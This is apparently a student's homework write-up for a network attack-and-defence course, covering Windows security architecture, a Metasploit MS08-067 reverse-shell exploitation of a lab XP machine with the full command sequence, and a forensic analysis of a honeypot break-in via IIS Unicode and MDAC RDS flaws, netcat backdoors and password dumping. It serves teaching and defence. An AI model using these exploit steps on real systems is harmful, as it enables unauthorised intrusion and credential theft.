20199107 2019-2020-2 《网络攻防实践》第7次作业
这个作业属于哪个课程 | 《网络攻防实践》 |
这个作业的要求在哪里 | 《网络攻防实践》第7次作业 |
我在这个课程的目标是 | 学习新知识、考试拿高分 |
这个作业在哪个具体方面帮助我实现目标 | 学习Windows操作系统攻防技术 |
作业正文 | 见下文 |
其他参考文献 | 见文末 |
1.实践内容
Windows操作系统基本结构
Windows操作系统基本结构分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。
- Windows OS内核基本模块包括:
Windows OS内核基本模块 | 描述 |
---|---|
Windows 执行体 | 即Windows内核核心文件nokml.xe的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务。 |
Windows 内核体 | 即Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。 |
设备驱动程序 | 包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。 |
硬件抽象层 | 即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。 |
Windows窗口与图形界面接口内核实现代码 | 即win32k.sys文件 |
- Windows OS在用户态的代码模块包括:
Windows OS用户态代码模块 | 描述 |
---|---|
系统支持进程 | Windows开机自动启动的系统内建服务进程。 |
环境子系统服务进程 | 为操作系统运行环境提供支持的服务进程。 |
服务进程 | 通过Windows的服务管理机制所启动的一系列系统及网络服务。 |
用户应用软件 | 在用户态执行的各类用户应用软件。 |
核心子系统DLL | 即kernel32.d1/uer32.d/gdi32 d/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。 |
在上述系统架构下,Windows 操作系统内核中实现了如下的核心机制。
-
Windows进程和线程管理机制
Windows将进程视作可执行程序运行时刻的容器,包括一个私有虚拟内存空间描述符,系统资源对象句柄列表,
带有执行用户账号权限的安全访问令牌,记录了进程ID及其父进程ID等信息,并至少包含一个作为进程内部指令执行体的执行线程。
Windows线程作为指令执行的具体载体,其线程控制块TCB中包含程序执行的上下文信息。 -
Windows内存管理机制
分为系统核心内存区间和用户内存区间,
系统核心内存区间用于映射内核、HAL(硬件抽象层,位于操作系统内核与硬件电路之间的接口层)、win32k.sys等内核执行模块,并存储内核内存对象,
用户态内存区间中,包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。 -
Windows文件管理机制
早期以FAT(File Allocation Table)来管理,但是由于FAT安全性很弱,已被NTFS(New Technology File System)取代。 -
Windows注册表管理机制
注册表(Registry)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。
注册表作为系统全局配置、用户和应用软件配置信息的存储仓库,在系统配置和控制方面承担着关键角色,几乎每个Windows操作都伴随着大量从注册表中读取和修改配置信息的动作。 -
Windows的网络机制
Windows网络组件模块 | 相当于七层OSI的 | 描述 |
---|---|---|
各网卡硬件设备的驱动程序 | 物理层 | 一般由第三方硬件厂商提供 |
NDIS(Network Driver Interface Specification,网络驱动程序接口规范)库及mimiport驱动 | 数据链路层 | 为不同的网卡驱动和TDI传输层间构建了封装接口 |
TDI(Transport Driver Interface,传输驱动程序接口/网络协议驱动)传输层 | 网络层、传输层 | 这个协议驱动生成了一个有名字的设备,这个设备能接收一组请求,主要是生成请求和控制请求,用来实现所有复杂的功能 查了一下,据说将被WFP(windows过滤平台)取代?从Win8开始已经是在用WFP了 |
网络API DLL及TDI客户端 | 会话层、表示层 | 网络API DLL为应用程序提供了独立于具体协议提供网络交互和实现方式,TDI客户端是网络API接口的具体实现 |
网络应用服务程序与服务进程 | 应用层 | 实现网络交互和通信功能 |
Windows操作系统的安全体系结构与机制
Windows安全体系结构
windows的安全体系结构基于引用监控器这一经典的安全模型,所有主体对客体的访问都通过监控器,根据安全访问控制策略进行授权访问,所有访问记录由监控器生成日志。
Windows身份认证机制
Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。
Windows为每个用户和计算机设置账户进行管理,账户的根本作用是限制账户内运行的程序对系统资源的访问。
用户组是为了简化管理引入的用户账户容器,通过将用户加入用户组,可以使用户拥有用户组的全部权限。
Windows账户的口令经过hash后保存在SAM(Security Accounts Manager)文件或活动目录AD中。
Winlogon进程、GINA图形化登录窗口与LSASS(Local Security Authority Service)服务协作完成本地身份认证过程。
Windows授权与访问控制机制
在用户等主体经过认证后,Windows会从内部数据库里读取该账户的信息,然后使用这些信息生成一个访问令牌,含有在该账户环境下启动的进程,都会获得这个令牌的副本。
系统内所有需要保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,其主要属性如下
- Owner SID:对象所有者的SID
- Group SID:对象所在组的SID
- DACL自主访问控制列表:指明哪些安全主体可以以何种方式访问该对象
- SACL系统审计访问控制列表:指明了哪些主体发起的哪些访问操作需要被审计
访问令牌和SD结合组成Windows访问控制机制
Windows安全审计机制
LSASS服务将保存审计策略,并在对象启动审计功能后,对SD中的SACL列表进行保存。
Windows其他安全机制
包括集成了防火墙、补丁自动更新和防病毒三项功能的Windows安全中心,以及IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、IE浏览器隐私保护与浏览安全机制等。
Windows远程攻防技术
攻击方式 | 防范措施 |
---|---|
远程口令猜测与破解 | 关闭易受攻击的网络服务、配置防火墙、使用更安全的协议、使用强口令 |
网络服务远程渗透攻击 | 打补丁、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件、及时修复漏洞 |
攻击windows客户端及用户三大类 | 使用安全的软件、及时更新软件 |
Windows本地安全攻防技术
攻击者获取系统访问权后,破解本地程序漏洞,获取系统完整控制权,获取敏感信息,掩盖痕迹,植入后门等所用的技术。
攻击目标 | 常用手段 | 防范措施 |
---|---|---|
本地特权提升 | DLL注入、破解本地程序漏洞、计划任务 | 及时打补丁、采取厂家提供的变通方法 |
敏感信息窃取 | Windows系统口令字密文提取技术、Windows系统口令字破解技术、用户敏感信息窃取 | 选择强口令、加密保护敏感信息 |
消踪灭迹 | 关闭审计功能、清理事件日志 | 配置好系统审计和网络服务审计功能、将日志记录到不可擦写的CDROM中,或通过网络传到安全的日志服务器 |
远程控制与后门程序 | 命令行远程控制工具、图形化远程控制工具 | 安装后门检测软件、杀软 |
2.实践过程
Metasploit Windows Attack
任务:使用攻击机对靶机上的漏洞MS08-067(08年序号067的漏洞,是Server服务路径规范化处理不当漏洞)进行远程渗透攻击,获取目标主机访问权
机器 | 角色 | IP |
---|---|---|
kali | 攻击机 | 192.168.200.2 |
XPSP1-metaspolitable | 靶机 | 192.168.200.9 |
一开始用windows/meterpreter/reverse_tcp那个攻击MS08-067不成功,感觉很疑惑,换了MS03-026试了试却可以,刚开始百思不得其解,试了很多种方式,还以为这靶机没这个漏洞,
后来看了大佬的博客发现是payload的问题,用书上那个generic/shell_reverse_tcp就可以
msfconsole
启动该工具
search MS08-067
搜索该漏洞的相关攻击脚本,只有一个也不用选了,就用它了
use exploit/windows/smb/ms08_067_netapi
看路径可以知道这是一个可用于渗透攻击的,攻击Windows SMB协议的,针对漏洞ms08-067
show payloads
显示可用payload
set payload generic/shell_reverse_tcp
这是获取shell的反向连接
show options
显示需要的参数,包括脚本的参数、payload的参数等,其中RHOST和LHOST是要填的,其他可以用默认值,
其中R开头的常指靶机,L开头的常指攻击机,具体的描述(description)旁边也有,target是要选的目标,用默认的自动选择目标即可
set RHOST 192.168.200.9
设置为靶机(XPSP1)IP
set LHOST 192.168.200.2
设置为攻击机(Kali)IP
set LPORT 9107
这个其实随意,但我担心我之前的尝试把端口占用了,设置完成如图
exploit
进行攻击,成功获取到靶机的shell,用ipconfig
可以看到靶机的IP信息
取证分析实践:解码一次成功的NT系统破解攻击
任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),分析数据为包含整个攻击过程的二进制文件,提取并分析攻击的全部过程
1.攻击者使用了什么破解工具进行攻击
2.攻击者如何使用这个破解工具进入并控制了系统
3.攻击者获得系统访问权限后做了什么
4.我们如何防止这样的攻击
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
主要还是靠课本的参考pdf和同学的博客做
- 任务1:
先拿snort试一下,海量信息,其中主要有8种报警,从中可知攻击者利用了IIS的两个漏洞,分别为:
-
Unicode漏洞(MS00-078/MS01-026)
如向IIS服务器发出包括非法UTF-8序列的URL,攻击者可使服务器逐字“进入或退出”目录并执行任意程序,该攻击即称为目录转换攻击。
Unicode用“%2f”和“%5c”分别代表“/”和“\”字符,但也可用“超长”序列来代替这些字符。
“超长”序列是非法的Unicode表示符,如用“%c0%af”代表“/”字符。
由于IIS不对超长序列进行检查,因此在URL中添加超长的Unicode序列后,可绕过微软的安全检查,
如在一个标记为可执行的文件夹发出该请求,攻击者即可在服务器上运行可执行文件。 -
MDAC RDS组件漏洞(MS02-065)
MDAC(MicrosoftDataAccessComponents)是一个把Web和数据库结合起来的软件包。它包含了一个叫RDS(RemoteDataServices)的组件。
RDS可以使用户通过IIS访问数据库,RDS与IIS都是默认安装的。RDS中的一个组件DataFactory存在漏洞可以使Web服务用户获取IIS服务器上非公开的文件,远程攻击者也可以使用MDAC转发ODBC请求使之能访问到非公开的服务器。
如果服务器上安装了MicrosoftJETOLEDBProvider或MicrosoftDataShapeProvider攻击者可以使用shell()VBA调用在系统上以System权限执行任意命令。
用wireshark观察抓包记录,ip.addr==213.116.251.162
筛选来自攻击机的包
通过搜索特征码ADM!ROX!YOUR!WORLD,发现是msadc(2).pl
- 任务2:
攻击者先使用了编写好的ftpcom脚本,尝试从ftp服务器下载编写好的后门文件,但由于密码错误失败了
攻击者通过几次尝试后终于想起了自己的密码并下载了nc.exe,pdump.exe,samdump.dll三个文件,并通过nc.exe构建了一个远程shell通道,端口6969,可以通过搜索6969快速寻找部分攻击者输入的命令
- 任务3:
追踪攻击者获取了shell之后的TCP流,可以看到其系列操作。攻击者修改各种文件,意图通过pdump、samdump、net命令、rdisk命令等方式提权为管理员,成功后还删除了ftpcom文件等痕迹
后来又换了个IP202.85.60.156,再追踪其TCP流,其中还有之后要找的信息
-
任务4:
禁用不需要的服务和端口,及时打补丁。 -
任务5:
显然是发现了,攻击者往一个文件里面写了这是他见过的最好的蜜罐。
团队对抗实践:windows系统远程渗透攻击和分析
任务:攻方使用metaploit选择漏洞进行攻击,获得控制权。防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
kali对xp的MS08-067漏洞进行攻击,过程参考Metasploit Windows Attack
该漏洞实质上是对SMB的缓冲区溢出攻击,针对SMB协议规范化路径时的逻辑漏洞,
路径规范化即将路径字符串中的/
转换为\
,同时去除相对路径.\
和..\
snort试一下,这报警信息没什么用啊
抓包发现有很多SMB包,
然后从这个位置开始,靶机向攻击机发起了反弹式tcp连接,前面有个包(编号88)显示NetPathCanonicalize,这是ms08-067攻击的函数(详见参考资料)
此时追踪tcp流可以看到攻击机获得shell后的操作
3.学习中遇到的问题及解决
- 问题1:一开始用windows/meterpreter/reverse_tcp那个攻击MS08-067不成功,感觉很疑惑,换了MS03-026试了试却可以,还以为这靶机没这个漏洞
- 问题1解决方案:看了大佬的博客发现是payload的问题,老实地用书上那个generic/shell_reverse_tcp就可以
- 问题2:即使有参考书很多地方其实都还是很迷惑的状态,但还有其他作业要做,没时间探究了
- 问题2解决方案:尽可能地猜一下
4.实践总结
做第一个实践的时候,感觉上了这么久网络攻防,终于有一个熟悉的任务,可以让我抄我自己,然后看了一下我以前的博客,发现,以前好菜啊,写的什么鬼,跟加了密似的,自己看都要回忆。
看到小结的时候,感觉难度突然有巨大地提升,做的时候感觉和某个段子表情包发生强烈共鸣,感觉大概是:
首先介绍一下各种window攻防技术,然后学习攻击工具Metasploit的入门使用,是不是很简单呢,好,现在我们来试一下:解码一次成功的NT系统破解、windows系统远程渗透攻击抓包分析攻防???材料和实践的难度有亿点点大哦。
5.其他参考文献
- 《网络攻防技术与实践》(诸葛建伟著)
- Unicode漏洞
- MDAC RDS组件漏洞
- MS08-067漏洞原理及详尽分析过程